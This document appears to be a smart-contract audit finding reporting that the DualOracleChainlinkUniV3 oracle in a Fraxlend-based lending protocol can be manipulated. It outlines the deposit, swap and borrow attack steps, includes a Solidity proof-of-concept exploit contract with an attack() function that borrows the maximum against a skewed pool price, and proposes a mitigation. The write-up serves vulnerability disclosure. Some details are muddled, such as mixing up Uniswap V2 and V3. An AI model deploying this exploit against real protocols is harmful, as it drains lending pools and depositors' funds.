Young Foggy Ostrich
High
The prices obtained by the DualOracleChainlinkUniV3.sol price oracle can be manipulated.
In the DualOracleChainlinkUniV3.sol contract function specifically getPrices() will tend to prioritize the price of the UniswapV3 pair by the oracleDelay
A user who detects that the update time of maxOracleDelay returns in the getPrices function "_isBadData"
If maxOracleDelay is greater than the parameter created in the getPrices() constructor, it will use the data returned by the UniswapV3 pool as the oracle price.
- An attacker monitors the DualOracleChainlinkUniV3.sol contract hoping that the contract will detect that
returns _isBadData.
- Since the contract now prioritizes the price returned by the UniswapV2 Pool quote, it can manipulate the pool to get the price based on the quote that the attacker wants.
This is because of this function
[function getPrices() external view returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) { address[] memory _pools = new address; _pools[0] = UNI_V3_PAIR_ADDRESS; uint256 _price1 = IStaticOracle(0xB210CE856631EeEB767eFa666EC7C1C57738d438).quoteSpecificPoolsWithTimePeriod( ORACLE_PRECISION, BASE_TOKEN, QUOTE_TOKEN, _pools, TWAP_DURATION ); uint256 _price2; (_isBadData, _price2) = _getChainlinkPrice();
// If bad data return price1 for both, else set high to higher price and low to lower price _priceLow = _isBadData || _price1 < _price2 ? _price1 : _price2; _priceHigh = _isBadData || _price1 > _price2 ? _price1 : _price2; }](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L138-L150)
-
- The attacker makes a deposit of tokens in the FraxlendPairCore.sol contract by calling the following function
function deposit(uint256 _amount, address _receiver)
-
The attacker makes a swap of the pool where the deposit was made to manipulate the funds so that the price returned by the quote is in his favor.
-
The attacker makes a borrow with many tokens that have the manipulated price
The FraxlendPair.sol contract may suffer huge losses due to oracle manipulation.
This may result in loss of user funds and leave the protocol insolvent.
solidity
// SPDX-License-Identifier: MIT pragma solidity ^0.8.26;
interface IERC20 { function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint amount) external returns (bool); }
interface CORE { function deposit(uint256 _amount, address _receiver) external; function borrowAsset(uint256 _borrowAmount, uint256 _collateralAmount, address _receiver) external; }
interface ISushiSwapRouter { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
}
contract SushiSwapExecutor { address private constant PAIR_SWAP_ROUTER_ADDRESS = 0x0000000000000000000000000000000000000000; // Put the address address public coreContractAddress = 0x0000000000000000000000000000000000000000; //Put the address address public owner;
ISushiSwapRouter public sushiSwapRouter;
constructor() {
owner = msg.sender;
sushiSwapRouter = ISushiSwapRouter(PAIR_SWAP_ROUTER_ADDRESS);
}
modifier onlyOwner() {
require(msg.sender == owner, "Not contract owner");
_;
}
// Fetch token balance of any token for the owner of this contract
function getTokenBalance(address tokenAddress) public view returns (uint256) {
IERC20 token = IERC20(tokenAddress);
return token.balanceOf(address(this));
}
// Approve tokens for swapping on SushiSwap
function approveToken(address aquien, address tokenAddress, uint256 amount) public onlyOwner {
IERC20 token = IERC20(tokenAddress);
token.approve(aquien, amount);
}
function attack(address tokenA, address tokenB) public onlyOwner{
CORE core = CORE(coreContractAddress);
approveToken(coreContractAddress, tokenA, type(uint256).max);
uint256 total = IERC20(tokenA).balanceOf(address(this)) / 2;
core.deposit(total, address(this));
executeSwap(address(this), tokenA, tokenB);
core.borrowAsset(type(uint256).max, total, address(this));
}
// Execute swap on SushiSwap from USDT to WETH
function executeSwap(address aquien, address tokenAddress, address totoken) public onlyOwner {
IERC20 token = IERC20(tokenAddress);
// Approve SushiSwap to spend USDT
approveToken(aquien, tokenAddress, token.balanceOf(address(this)));
// Path for the swap: USDT -> WETH
address[] memory path = new address[](2);
path[0] = tokenAddress;
path[1] = totoken;
// Calculate amountOutMin (with 5% slippage)
uint[] memory amountsOut = sushiSwapRouter.getAmountsOut(token.balanceOf(address(this)), path);
uint amountOutMin = amountsOut[1] * 95 / 100; // 5% slippage
// Perform the swap
sushiSwapRouter.swapExactTokensForTokens(
token.balanceOf(address(this)),
amountOutMin,
path,
address(this),
block.timestamp + 1200 // 20-minute deadline
);
}
function withdrawETH() external onlyOwner {
uint256 contractBalance = address(this).balance;
payable(msg.sender).transfer(contractBalance);
}
// Withdraw tokens from the contract
function withdrawTokens(address tokenAddress) external onlyOwner {
IERC20(tokenAddress).transfer(msg.sender, IERC20(tokenAddress).balanceOf(address(this)));
}
receive() external payable {}
fallback() external payable {}
}
Use a wide range of maxOracleDelay and avoid using a Uniswap V3 V2 pair, etc. as a price oracle. Because in these cases it is very easy to manipulate prices by interacting with the pair.